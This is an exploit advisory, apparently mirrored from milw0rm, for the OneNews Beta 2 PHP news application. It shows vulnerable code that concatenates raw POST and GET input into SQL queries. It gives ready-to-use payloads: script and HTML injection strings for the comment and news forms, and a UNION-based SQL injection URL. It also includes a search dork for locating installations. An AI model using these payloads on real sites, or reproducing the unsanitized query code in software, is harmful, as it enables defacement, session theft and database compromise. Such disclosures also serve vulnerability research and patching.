onenews beta 2 (xss/hi/sql) Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
OneNews Beta 2 Multiple Vulnerabilities (XSS, SQL Injection

                                                ______________________///////////////\\\\\\\\\\\\\\\____________________
}Name   : OneNews Beta 2 Multiple Vulnerabilities                      {
{Author : suN8Hclf[crimsoN_Loyd9], (DaRk-CodeRs Group)                 }
}Source : http://sourceforge.net/project/showfiles.php?group_id=193198 {
{Dork   : Powered by One-News                                          }
}Greetz : all DaRk-CodeRs guys, e.wiZz, str0ke                         {
_________________________________{}*{}__________________________________


==========================
|1. XSS and html injection|
==========================
Conditions: MAGIC_QUOTES=ON/OFF
Vulnerable code(add.php):
--------------------------------------CODE----------------------------------------------
$insert = &#34;INSERT INTO entries (title, content) VALUES (&#39;&#34; . $_POST[&#39;title&#39;] . &#34;&#39;, &#39;&#34; . $_POST[&#39;content&#39;] . &#34;&#39;)&#34;;
mysql_query($insert) or die (&#39;I cannot do that because &#39; . mysql_error());
--------------------------------------CODE----------------------------------------------
Vulnerable code(index.php):
--------------------------------------CODE----------------------------------------------
$insert = &#34;INSERT INTO comments (blogid, author, comment) VALUES (&#39;&#34; . $_POST[&#39;itemnum&#39;] . &#34;&#39;, &#39;&#34; . $_POST[&#39;author&#39;] . &#34;&#39;, &#39;&#34; . $_POST[&#39;comment&#39;] . &#34;&#39;)&#34;;
mysql_query($insert) or die (&#39;I cannot do that because &#39; . mysql_error());
--------------------------------------CODE----------------------------------------------

NOTE:
To exploit the bug in the add.php code, you have got to be logged in!!!

Exploit:
Put this down into the forms, while adding comments(index.php) or news(add.php):

1. &#60;h1&#62;HACKED&#60;/h1&#62;
2. &#60;html&#62;&#60;head&#62;&#60;/head&#62;&#60;body bgcolor=\&#34;red\&#34;&#62;HACKED&#60;/body&#62;&#60;/html&#62;
3. &#60;script&#62;alert(\&#39;Hacked\&#39;);&#60;/script&#62;
4. Use your imagination :)

==========================
|2. SQL Injection        |
==========================
Conditions: MAGIC_QUOTES=OFF
Vulnerable code(index.php):
--------------------------------------CODE----------------------------------------------
$query = &#34;SELECT * FROM entries WHERE id = &#39;&#34; . $_GET[&#39;q&#39;] . &#34;&#39; LIMIT 1&#34;;
$result = mysql_query($query);
while($row = mysql_fetch_array($result)){ 
--------------------------------------CODE----------------------------------------------

Exploit:

http://localhost:8080/onenews_beta2/index.php?q=3&#39; and 1=2 union select 1,2,3/*

# milw0rm.com [2008-08-23]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1